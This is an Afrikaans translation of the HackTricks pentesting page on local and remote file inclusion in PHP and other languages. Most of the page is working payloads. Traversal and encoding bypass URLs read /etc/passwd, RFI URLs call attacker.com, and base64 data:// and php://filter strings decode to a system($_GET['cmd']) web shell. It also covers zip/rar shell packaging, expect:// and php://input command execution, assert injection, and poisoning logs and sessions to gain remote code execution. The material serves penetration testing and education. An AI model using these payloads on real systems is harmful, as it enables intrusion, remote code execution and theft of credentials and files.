hacktricks/pentesting-web/file-inclusion
2024-04-07 05:33:57 +00:00
..
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
lfi2rce-via-eternal-waiting.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 05:33:57 +00:00
lfi2rce-via-nginx-temp-files.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
lfi2rce-via-php-filters.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
lfi2rce-via-phpinfo.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
lfi2rce-via-segmentation-fault.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
lfi2rce-via-temp-file-uploads.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00
phar-deserialization.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-18 14:51:58 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 05:33:57 +00:00
via-php_session_upload_progress.md Translated to Afrikaans 2024-02-11 02:07:06 +00:00

Lêer Insluiting/Pad deursigtigheid

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!

Hakinsigte
Betrokkenheid by inhoud wat die opwinding en uitdagings van hak bevat

Reële-Tyd Hak Nuus
Bly op hoogte van die vinnige hakwêreld deur middel van reële-tyd nuus en insigte

Nuutste Aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Lêer Insluiting

Verre Lêer Insluiting (RFI): Die lêer word gelaai vanaf 'n verre bediener (Beste: Jy kan die kode skryf en die bediener sal dit uitvoer). In php is dit gestrem per verstek (allow_url_include).
Plaaslike Lêer Insluiting (LFI): Die bediener laai 'n plaaslike lêer.

Die kwesbaarheid kom voor wanneer die gebruiker op een of ander manier die lêer kan beheer wat deur die bediener gelaai gaan word.

Kwesbare PHP funksies: require, require_once, include, include_once

'n Interessante instrument om hierdie kwesbaarheid te benut: https://github.com/kurobeats/fimap

Blind - Interessant - LFI2RCE lêers

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Deur verskeie *nix LFI-lys te meng en meer paaie by te voeg, het ek hierdie een geskep:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Probeer ook om / te verander na \
Probeer ook om ../../../../../ by te voeg

'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan hier gevind word.

Windows

Versmelting van verskillende woordlyste:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Probeer ook om / te verander na \
Probeer ook om C:/ te verwyder en ../../../../../ by te voeg

'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan hier gevind word.

OS X

Kyk na die LFI-lys van Linux.

Basiese LFI en omseilings

Al die voorbeelde is vir Plaaslike Lêer Insluiting, maar kan ook op Afgeleë Lêer Insluiting toegepas word (bladsy=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

deursnuffelingsvolgordes ontkleed nie-rekursief

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Nulbyte (%00)

Bypass die aanhegting van meer karakters aan die einde van die voorsiene string (bypass van: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Dit is opgelos sedert PHP 5.4

Kodering

Jy kan nie-standaard koderings soos dubbele URL-kodering (en ander) gebruik:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Van bestaande vouer

Miskien kontroleer die agterkant die vouerpad:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Verkenning van Lêersisteemgids op 'n Bediener

Die lêersisteem van 'n bediener kan rekursief verken word om gidsname, nie net lêers, te identifiseer deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die gidsdiepte en die ondersoek na die bestaan van spesifieke gidsname. Hieronder is 'n gedetailleerde metode om dit te bereik:

  1. Bepaal Gidsdiepte: Stel die diepte van jou huidige gids vas deur suksesvol die /etc/passwd-lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan so gestruktureer word, wat 'n diepte van drie aandui:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Ondersoek vir Lêers: Voeg die naam van die vermoede lêer by die URL (bv., private), en navigeer dan terug na /etc/passwd. Die ekstra gidsvlak vereis 'n verhoging van die diepte met een:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpreteer die Resultate: Die reaksie van die bediener dui aan of die omslag bestaan:
    • Fout / Geen Uitset: Die omslag private bestaan waarskynlik nie op die gespesifiseerde plek nie.
    • Inhoud van /etc/passwd: Die teenwoordigheid van die private omslag word bevestig.
  2. Herhalende Verkenning: Ontdekte omslae kan verder ondersoek word vir subdossiers of lêers deur dieselfde tegniek of tradisionele Plaaslike Lêer Insluiting (LFI) metodes te gebruik.

Vir die verkenning van gidses op verskillende plekke in die lêersisteem, pas die las aan soos nodig. Byvoorbeeld, om te kontroleer of /var/www/ 'n private omslag bevat (onder die aanname dat die huidige omslag op 'n diepte van 3 is), gebruik:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Padafkappingsmetode

Padafkapping is 'n metode wat gebruik word om lêerpaadjies in webtoepassings te manipuleer. Dit word dikwels gebruik om toegang tot beperkte lêers te verkry deur sekere sekuriteitsmaatreëls te omseil wat ekstra karakters aan die einde van lêerpaadjies voeg. Die doel is om 'n lêerpaadjie te skep wat, nadat dit deur die sekuriteitsmaatreël verander is, steeds na die gewenste lêer verwys.

In PHP kan verskeie voorstellings van 'n lêerpaadjie as ekwivalent beskou word as gevolg van die aard van die lêersisteem. Byvoorbeeld:

  • /etc/passwd, /etc//passwd, /etc/./passwd, en /etc/passwd/ word almal as dieselfde paadjie hanteer.
  • Wanneer die laaste 6 karakters passwd is, verander die toevoeging van 'n / (waar dit passwd/ maak) nie die geteikende lêer nie.
  • Op dieselfde manier, as .php by 'n lêerpaadjie gevoeg word (soos shellcode.php), sal die byvoeging van /. aan die einde nie die toeganklike lêer verander nie.

Die voorsiene voorbeelde demonstreer hoe om padafkapping te gebruik om toegang tot /etc/passwd te verkry, 'n algemene teiken as gevolg van sy sensitiewe inhoud (gebruikersrekeninginligting):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

In hierdie scenario's kan die aantal traversals wat benodig word, ongeveer 2027 wees, maar hierdie getal kan wissel gebaseer op die bediener se konfigurasie.

  • Gebruik van Puntsegmente en Addisionele Karakters: Traversal-reeks (../) gekombineer met ekstra puntsegmente en karakters kan gebruik word om die lêersisteem te navigeer, waardeur die aangehegte strings deur die bediener geïgnoreer word.
  • Bepaling van die Benodigde Aantal Traversals: Deur toets en fout kan 'n persoon die presiese aantal ../ reekse vind wat nodig is om na die hoofgids te navigeer en dan na /etc/passwd, om te verseker dat enige aangehegte strings (soos .php) geneutraliseer word, maar die gewenste pad (/etc/passwd) bly intak.
  • Begin met 'n Vals Gids: Dit is 'n algemene praktyk om die pad te begin met 'n nie-bestaande gids (soos a/). Hierdie tegniek word gebruik as 'n voorbehoedende maatreël of om aan die vereistes van die bediener se padontledingslogika te voldoen.

Wanneer padafkappings tegnieke gebruik word, is dit noodsaaklik om die bediener se padontledingsgedrag en lêersisteemstruktuur te verstaan. Elke scenario mag 'n ander benadering vereis, en toetsing is dikwels nodig om die mees doeltreffende metode te vind.

Hierdie kwesbaarheid is reggestel in PHP 5.3.

Filter omseilingswenke

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Verre lêer insluiting

In php is dit standaard afgeskakel omdat allow_url_include Af. is. Dit moet Aan wees vir dit om te werk, en in daardie geval kan jy 'n PHP-lêer vanaf jou bediener insluit en RCE kry:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Indien om een of ander rede allow_url_include Aan is, maar PHP toegang tot eksterne webbladsye filter, volgens hierdie pos, kan jy byvoorbeeld die data-protokol met base64 gebruik om 'n b64 PHP-kode te dekodeer en RCE te kry:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} In die vorige kode is die finale +.txt bygevoeg omdat die aanvaller 'n string benodig het wat eindig op .txt, sodat die string daarmee eindig en na die b64-dekodeer daardie deel net rommel sal teruggee en die werklike PHP-kode ingesluit (en dus uitgevoer) sal word. {% endhint %}

'n Ander voorbeeld sonder die gebruik van die php:// protokol sou wees:

{% code overflow="wrap" %}

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Python Rooielement

In Python in 'n kode soos hierdie een:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Indien die gebruiker 'n absoluut pad na file_name deurgee, word die vorige pad net verwyder:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Dit is die bedoelde gedrag volgens die dokumentasie:

As 'n komponent 'n absolute pad is, word alle vorige komponente weggegooi en die aansluiting gaan voort vanaf die absolute pad komponent.

Java Lys Gidse

Dit lyk asof jy 'n Pad Traversal in Java het en jy vra vir 'n gids in plaas van 'n lêer, word 'n lys van die gids teruggegee. Dit sal nie in ander tale gebeur nie (sover ek weet).

Top 25 parameters

Hier is 'n lys van die top 25 parameters wat vatbaar kan wees vir plaaslike lêer insluiting (LFI) kwesbaarhede (vanaf skakel):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI deur PHP-omsluiters & protokolle

php://filter

PHP-filters maak basiese wysigingsoperasies op die data moontlik voordat dit gelees of geskryf word. Daar is 5 kategorieë van filters:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Verwyder tages van die data (alles tussen "<" en ">" karakters)
  • Let daarop dat hierdie filter uit die moderne weergawes van PHP verdwyn het
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Verander na 'n ander enkodering (convert.iconv.<input_enc>.<output_enc>). Om die lys van alle ondersteunde enkoderings te kry, hardloop in die konsole: iconv -l

{% hint style="warning" %} Deur die convert.iconv.* omskakelingsfilter te misbruik, kan jy willekeurige teks genereer, wat nuttig kan wees om willekeurige teks te skryf of 'n funksie soos insluiting van willekeurige teks te maak. Vir meer inligting, kyk na LFI2RCE via php filters. {% endhint %}

  • Compression Filters
  • zlib.deflate: Komprimeer die inhoud (nuttig as jy baie inligting uitlek)
  • zlib.inflate: Dekomprimeer die data
  • Encryption Filters
  • mcrypt.* : Verouderd
  • mdecrypt.* : Verouderd
  • Ander Filters
  • Deur in php te hardloop var_dump(stream_get_filters()); kan jy 'n paar onverwagte filters vind:
  • consumed
  • dechunk: keer HTTP-gekapselde enkodering om
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} Die deel "php://filter" is nie hoofletter sensitief nie {% endhint %}

Gebruik van php-filters as orakel om willekeurige lêers te lees

In hierdie pos word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitset van die bediener terug te kry. Hierdie tegniek is gebaseer op 'n boolean uitlekking van die lêer (karakter vir karakter) deur php-filters as orakel te gebruik. Dit is omdat php-filters gebruik kan word om 'n teks groot genoeg te maak om php 'n uitsondering te laat gooi.

In die oorspronklike pos kan jy 'n gedetailleerde verduideliking van die tegniek vind, maar hier is 'n vinnige opsomming:

  • Gebruik die kodeerder UCS-4LE om die leidende karakter van die teks aan die begin te laat en die grootte van die string eksponensieel te verhoog.
  • Dit sal gebruik word om 'n teks so groot te genereer wanneer die aanvanklike letter korrek gegok word dat php 'n fout sal veroorsaak
  • Die dechunk-filter sal alles verwyder as die eerste karakter nie 'n heksadesimale karakter is nie, sodat ons kan weet of die eerste karakter heksadesimaal is.
  • Dit, gekombineer met die vorige (en ander filters afhangende van die gegokte letter), sal ons in staat stel om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie 'n heksadesimale karakter te maak nie. Want as dit heksadesimaal is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal php-fout veroorsaak.
  • Die kodeerder convert.iconv.UNICODE.CP930 verander elke letter in die volgende een (dus na hierdie kodeerder: a -> b). Dit stel ons in staat om te ontdek of die eerste letter 'n a is byvoorbeeld omdat as ons 6 van hierdie kodeerders toepas a->b->c->d->e->f->g is die letter nie meer 'n heksadesimale karakter nie, daarom verwyder dechunk dit nie en word die php-fout veroorsaak omdat dit met die aanvanklike bom vermenigvuldig.
  • Deur ander transformasies soos rot13 aan die begin te gebruik, is dit moontlik om ander karakters soos n, o, p, q, r te lek (en ander kodeerders kan gebruik word om ander letters na die heks-bereik te skuif).
  • Wanneer die aanvanklike karakter 'n nommer is, moet dit base64-kodeer word en die eerste 2 letters lek om die nommer te lek.
  • Die finale probleem is om te sien hoe om meer as die aanvanklike letter te lek. Deur orde-geheue-filters soos convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE te gebruik, is dit moontlik om die orde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
  • En om in staat te wees om verdere data te verkry, is die idee om 2 byte rommeldata aan die begin te genereer met convert.iconv.UTF16.UTF16, pas UCS-4LE toe om dit met die volgende 2 byte te pivot, en verwyder die data tot by die rommeldata (dit sal die eerste 2 byte van die aanvanklike teks verwyder). Gaan voort om dit te doen totdat jy die gewenste bit om te lek bereik.

In die pos is ook 'n instrument gelek om dit outomaties uit te voer: php_filters_chain_oracle_exploit.

php://fd

Hierdie omhulsel maak dit moontlik om lêerbeskrywers te benader wat die proses oop het. Potensieel nuttig om die inhoud van oop lêers te lek:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Jy kan ook php://stdin, php://stdout en php://stderr gebruik om die lêer beskrywers 0, 1 en 2 onderskeidelik te benader (nie seker hoe dit nuttig kan wees in 'n aanval nie)

zip:// en rar://

Laai 'n Zip of Rar lêer op met 'n PHPShell binne en benader dit.
Om die rar-protokol te kan misbruik, moet dit spesifiek geaktiveer word.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Merk op dat hierdie protokol beperk word deur php-konfigurasies allow_url_open en allow_url_include

expect://

Verwagting moet geaktiveer word. Jy kan kode uitvoer met behulp hiervan:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

inset://

Spesifiseer jou lading in die POST parameters:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

'n .phar-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos include gebruik vir lêerlaai. Die PHP-kodefragment hieronder toon die skep van 'n .phar-lêer:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Om die .phar lêer saam te stel, moet die volgende bevel uitgevoer word:

php --define phar.readonly=0 create_path.php

Met uitvoering sal 'n lêer genaamd test.phar geskep word, wat moontlik benut kan word om plaaslike lêer insluitings (LFI) kwesbaarhede te misbruik.

In gevalle waar die LFI slegs lêerlees uitvoer sonder die PHP-kode binne-in uit te voer, deur funksies soos file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), of filesize(), kan 'n poging aangewend word om 'n deserialisasie kwesbaarheid te misbruik. Hierdie kwesbaarheid word geassosieer met die lees van lêers deur die gebruik van die phar protokol.

Vir 'n gedetailleerde begrip van die misbruik van deserialisasie kwesbaarhede in die konteks van .phar lêers, verwys na die dokument wat hieronder gekoppel is:

Phar Deserialisasie Misbruiksgids

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

Meer protokolle

Kyk na meer moontlike protokolle om hier in te sluit:

  • php://memory en php://temp — Skryf in geheue of in 'n tydelike lêer (nie seker hoe dit nuttig kan wees in 'n lêer insluitingsaanval nie)
  • file:// — Toegang tot plaaslike lêersisteem
  • http:// — Toegang tot HTTP(s) URL's
  • ftp:// — Toegang tot FTP(s) URL's
  • zlib:// — Kompresie Strome
  • glob:// — Vind padname wat ooreenstem met patroon (Dit gee niks drukbare terug nie, dus nie regtig nuttig hier nie)
  • ssh2:// — Veilige Skel 2
  • ogg:// — Klankstrome (Nie nuttig om willekeurige lêers te lees nie)

LFI via PHP se 'assert'

Plaaslike Lêer Insluiting (LFI) risiko's in PHP is opvallend hoog wanneer daar gewerk word met die 'assert' funksie, wat kode binne-in strings kan uitvoer. Dit is veral problematies as insette wat die deursoekkarakters vir gidsnavigasie soos ".." bevat, nagegaan word maar nie behoorlik gesaniteer word nie.

Byvoorbeeld, PHP-kode kan ontwerp wees om gidsnavigasie te voorkom soos:

assert("strpos('$file', '..') === false") or die("");

Terwyl dit daarop gemik is om traversering te stop, skep dit onbedoeld 'n vektor vir kode-inspuiting. Om dit te benut vir die lees van lêerinhoude, kan 'n aanvaller die volgende gebruik:

' and die(highlight_file('/etc/passwd')) or '

Op dieselfde manier, vir die uitvoer van willekeurige stelselopdragte, kan 'n persoon die volgende gebruik:

' and die(system("id")) or '

Dit is belangrik om hierdie aanvalle te URL-kodeer.

Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hack-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hack bevat

Nuutste Hack-nuus
Bly op hoogte van die snelveranderende hack-wêreld deur middel van nuus en insigte in werklikheid

Nuutste Aankondigings
Bly ingelig oor die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!

PHP Blinde Padtraversering

{% hint style="warning" %} Hierdie tegniek is relevant in gevalle waar jy die lêerpad van 'n PHP-funksie beheer wat 'n lêer sal toegang maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na file()) maar die inhoud word nie vertoon nie. {% endhint %}

In hierdie ongelooflike pos word verduidelik hoe 'n blinde padtraversering misbruik kan word via PHP-filter om die inhoud van 'n lêer via 'n fout-orakel te eksfiltrasie.

Kortliks, die tegniek gebruik die "UCS-4LE" kodering om die inhoud van 'n lêer so groot te maak dat die PHP-funksie wat die lêer oopmaak 'n fout sal veroorsaak.

Daarna, om die eerste karakter te lek, word die filter dechunk gebruik saam met ander soos base64 of rot13 en uiteindelik word die filters convert.iconv.UCS-4.UCS-4LE en convert.iconv.UTF16.UTF-16BE gebruik om ander karakters aan die begin te plaas en hulle te lek.

Funksies wat vatbaar kan wees: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (slegs teiken lees slegs hiermee), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Vir die tegniese besonderhede, kyk na die genoemde pos!

LFI2RCE

Verre Lêerinsluiting

Voorheen verduidelik, volg hierdie skakel.

Via Apache/Nginx log lêer

As die Apache- of Nginx-bediener vatbaar is vir LFI binne die insluitfunksie, kan jy probeer om toegang te verkry tot /var/log/apache2/access.log of /var/log/nginx/access.log, stel binne die gebruikersagent of binne 'n GET-parameter 'n php-skul soos <?php system($_GET['c']); ?> en sluit daardie lêer in

{% hint style="warning" %} Let daarop dat as jy dubbele aanhalingstekens vir die skul gebruik in plaas van enkele aanhalingstekens, sal die dubbele aanhalingstekens verander word vir die string "quote;", PHP sal 'n fout gooi daar en niks anders sal uitgevoer word nie.

Maak ook seker jy skryf die aanval reg of PHP sal elke keer 'n fout gooi wanneer dit probeer om die log-lêer te laai en jy sal nie 'n tweede geleentheid hê nie. {% endhint %}

Dit kan ook in ander logboeke gedoen word, maar wees versigtig, die kode binne die logboeke kan URL-gekodeer wees en dit kan die Skul vernietig. Die kop authorisation "basic" bevat "gebruiker:wagwoord" in Base64 en dit word binne die logboeke ontsluit. Die PHPShell kan binne hierdie kop ingevoeg word.
Ander moontlike log-paaie:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing woordelys: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via E-pos

Stuur 'n e-pos na 'n interne rekening (user@localhost) wat jou PHP lading bevat soos <?php echo system($_REQUEST["cmd"]); ?> en probeer om dit in te sluit in die e-pos van die gebruiker met 'n pad soos /var/mail/<USERNAME> of /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Laai baie doppe op (byvoorbeeld: 100)
  2. Sluit http://example.com/index.php?page=/proc/$PID/fd/$FD in, met $PID = PID van die proses (kan afgedwing word) en $FD die lêerbeskrywer (kan ook afgedwing word)

Via /proc/self/environ

Soos 'n log lêer, stuur die lading in die Gebruiker-Agent, dit sal weerspieël word binne die /proc/self/environ lêer

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Deur oplaai

As jy 'n lêer kan oplaai, insluit die skuldpayload daarin (bv. : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Om die lêer leesbaar te hou, is dit die beste om in te spuit in die metadata van die foto's/doc/pdf

Via Zip-lêer oplaai

Laai 'n ZIP-lêer wat 'n PHP dop bevat, saamgedruk en toegang:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessies

Kontroleer of die webwerf PHP-sessies gebruik (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP word hierdie sessies gestoor in /var/lib/php5/sess\[PHPSESSID]_ lêers

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Stel die koekie in op <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Gebruik die LFI om die PHP-sessie lêer in te sluit

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Indien ssh aktief is, kontroleer watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer om toegang te verkry tot <HOME>/.ssh/id_rsa

Via vsftpd logs

Die logboeke vir die FTP-bediener vsftpd is geleë by /var/log/vsftpd.log. In die geval waar 'n Plaaslike Lêer Insluiting (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:

  1. Spuit 'n PHP-lading in die gebruikersnaamveld tydens die aanmeldingsproses.
  2. Na inspuiting, gebruik die LFI om die bedienerslogboeke van /var/log/vsftpd.log te herwin.

Via php base64 filter (gebruik base64)

Soos aangedui in hierdie artikel, ignoreer PHP base64 filter net Nie-base64. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met ".php", sal dit net die "." ignoreer en "php" byvoeg by die base64. Hier is 'n voorbeeldlading:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

Hierdie writeup verduidelik dat jy php filters kan gebruik om arbitrêre inhoud te genereer as uitset. Dit beteken basies dat jy arbitrêre php-kode kan genereer vir die insluiting sonder om dit in 'n lêer te skryf.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Via segmentation fault

Laai 'n lêer wat as tydelik in /tmp gestoor sal word, dan in dieselfde versoek, veroorsaak 'n segmenteringsfout, en dan sal die tydelike lêer nie verwyder word en jy kan daarnaar soek.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Via Nginx temp file storage

As jy 'n Local File Inclusion gevind het en Nginx voor PHP hardloop, kan jy moontlik RCE verkry met die volgende tegniek:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Via PHP_SESSION_UPLOAD_PROGRESS

As jy 'n Local File Inclusion gevind het selfs al het jy nie 'n sessie nie en session.auto_start is Off. As jy die PHP_SESSION_UPLOAD_PROGRESS in multipart POST data voorsien, sal PHP die sessie vir jou aktiveer. Jy kan dit misbruik om RCE te kry:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Via temp file uploads in Windows

As jy 'n Local File Inclusion gevind het en die bediener in Windows hardloop, kan jy RCE kry:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Via phpinfo() (file_uploads = on)

As jy 'n Local File Inclusion gevind het en 'n lêer wat phpinfo() blootstel met file_uploads = on, kan jy RCE kry:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

As jy 'n Local File Inclusion gevind het en jy die pad van die tydelike lêer kan uitlek MAAR die bediener kontroleer of die **lêer wat ingesluit moet word PHP-merke het, kan jy probeer om daardie kontrole te vermy met hierdie Race Condition:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

